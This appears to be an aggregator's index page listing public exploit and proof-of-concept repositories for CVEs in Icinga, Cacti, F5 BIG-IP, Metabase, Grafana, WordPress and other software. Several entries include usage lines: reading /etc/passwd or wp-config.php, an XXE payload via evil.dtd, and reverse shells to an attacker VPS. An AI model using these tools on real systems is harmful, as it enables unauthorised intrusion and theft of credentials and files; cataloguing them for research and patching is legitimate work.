CVE-2022-24716

CVE-2022-24716 Exploit for the vulnerability: Arbitrary File Disclosure Vulnerability in Icinga Web 2 2.8.6, 2.9.6, 2.10 https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/ Help: python3 exploit.py -h Usage example: python3 -u http://127.0.0.1:8080 -f /etc/passwd...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - Unauthenticated RCE in Cacti 1.2.22 This repo contains an exploit for CVE-2022-46169, affecting Cacti 1.2.22. This vulnerability allows an unauthenticated attacker to execute arbitrary code on the affected system. If you want a detailed write up of how this exploit is possibl...

CVE-2024-50490

CVE-2024-50490 PegaPoll = 1.0.2 - Unauthenticated Arbitrary Options Update Description: The PegaPoll plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check in all versions up to, and including, 1.0.2. This...

CVE-2024-48061

CVE-2024-48061 Langflow vulnerable to remote code execution CVE-2024-48061 poc Usage root@kitploit: python3 poc.py -i -p -l -lp Description This script exploits a vulnerable API endpoint at /api/v1/validate/code on the target web server. It first verifies the presence of the vulnerable path, then...

CVE-2024-50971

CVE-2024-50971 Description A SQL injection vulnerability in print.php of Itsourcecode Construction Management System 1.0 allows remote attackers to execute arbitrary SQL commands via the mapid parameter. Vulnerability Type SQL Injection Vendor of Product Itsourcecode Affected Product Code Base:...

CVE-2022-1388

CVE-2022-1388 This repository conssists of the python exploit code for CVE-2022-1388 F5's BIG-IP RCE usage: exploit.py -h -t TARGET -p PORT -c CMD --ssl options: -h, --help show this help message and exit -t TARGET, --target TARGET Specify the IP Address/Domain Name of the vulnerable server -p...

SOC274---Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400-

SOC274---Palo-Alto-Networks-PAN-OS-Command-Injection-Vulnerability-Exploitation-CVE-2024-3400- Introduction CVE‑2024‑3400 is a critical CVSS 10.0 command‑injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN‑OS, first disclosed on April 12, 2024 github.com+10 Investigatio...

CVE-2017-11882

CVE-2017-11882 43b Original script from https://github.com/embedi/CVE-2017-11882 109b Original script from https://github.com/unamer/CVE-2017-11882/ Kudos, unamer's code can now execute shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE...

jetty-line-check

jetty-line-check 你这套 Jetty或 Spring Boot 带进来的 Jetty,中了 2026 年这六条 CVE 的哪几条 —— 而官方叫你升的那一版,在 Maven Central 上到底存不存在? 主打 CVE-2026-2332GHSA-355h-qmc2-wpwf,high / CVSS v3 7.4:jetty-http 的 chunked 请求走私。 2026-09-17 官方又发了同族的 CVE-2026-19203LF EXT.TERM 走私,high / CVSS v4 8.3:它的 9.4 线覆盖到 9.4.63 , 官方叫你升 9.4.64 —...

CVE-2017-5638-ApacheStruts2.3.5

CVE-2017-5638-ApacheStruts2.3.5 A exploit for CVE-2017-5638. This exploit works on versions 2.3.5-2.3.31 and 2.5 – 2.5.10 Requirements optparse, requests Usage This exploit can be used like this: root@kitploit: $ python3 CVE-2017-5638ApacheStruts.py -u...

CVE-2024-34310

CVE-2024-34310 CVE-2024-34310 Suggested description Jin Fang Times Content Management System v3.2.3 was discovered to contain a SQL injection vulnerability via the id parameter. Vulnerability Type SQL Injection Vendor of Product https://www.bjjfsd.com/ Affected Product Code Base Jin Fang times...

CVE-2024-50970

CVE-2024-50970 Description A SQL injection vulnerability in orderview1.php of Itsourcecode Online Furniture Shopping Project 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter. Vulnerability Type SQL Injection Vendor of Product Itsourcecode Affected Product Code...

CVE-2021-41511

CVE-2021-41511 Exploit Title: Lodging Reservation Management System 1.0 - SQL Injection / Authentication Bypass Exploit Author: Nitin Sharmavidvansh Vendor Homepage: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html Software Link:...

CVE-2023-31852

CVE-2023-31852 Reflected cross-site scripting XSS attack exists in web-based management interface of Cudy LT400. The page /cgi-bin/luci/admin/network/wireless/config has reflected XSS via the iface parameter. The methods of exploitation would involve sending a specially crafted request to the...

CVE-2023-38646

CVE-2023-38646-exploit "This vulnerability, designated as CVE-2023–38646, allowed attackers to execute arbitrary commands on the server without requiring any authentication." A quick reverse shell exploit script for cve-2023-38646. I did not find this vulnerability, just made the script. Usage...

CVE-2026-31816

CVE-2026-31816 - Budibase Authentication Bypass to RCE CVE-2026-31816 is a critical authentication and authorization bypass vulnerability affecting Budibase. The vulnerability exists in the server-side authorization middleware responsible for protecting API endpoints. Budibase attempts to identif...

Grafana-CVE-2024-9264

Grafana-CVE-2024-9264 root@kitploit: POST /api/ds/query?dstype=expr&expression=true&requestId=Q100 HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Cookie: grafanasession=a739fa9aeb235f2790f17de00fefe528 Content-Length: 368 "from": "1696154400000", "to": "1696345200000", "queries":...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 - Authenticated Author+ XXE https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ usage: -l LHOST example: 127.0.0.1 -n NAME example: payload.wav -dn DTDNAME example: evil.dtd -r READ example: ../wp-config.php evil-wav-dtd-xxe.py: error: the...

wildfly__wildfly_CVE-2018-1047_11-0-0-Final

WildFly Application Server http://wildfly.org Fast Startup Small Footprint Modular Design Unified Configuration and Management And of course Java EE7! Building Prerequisites: JDK 8 or newer - check java -version Maven 3.3.1 or newer - check mvn -v On nix systems, make sure that the maximum number...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell ejecutar comando go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port nota cuando ingreses el host de destino, no olvides el http:// o https://...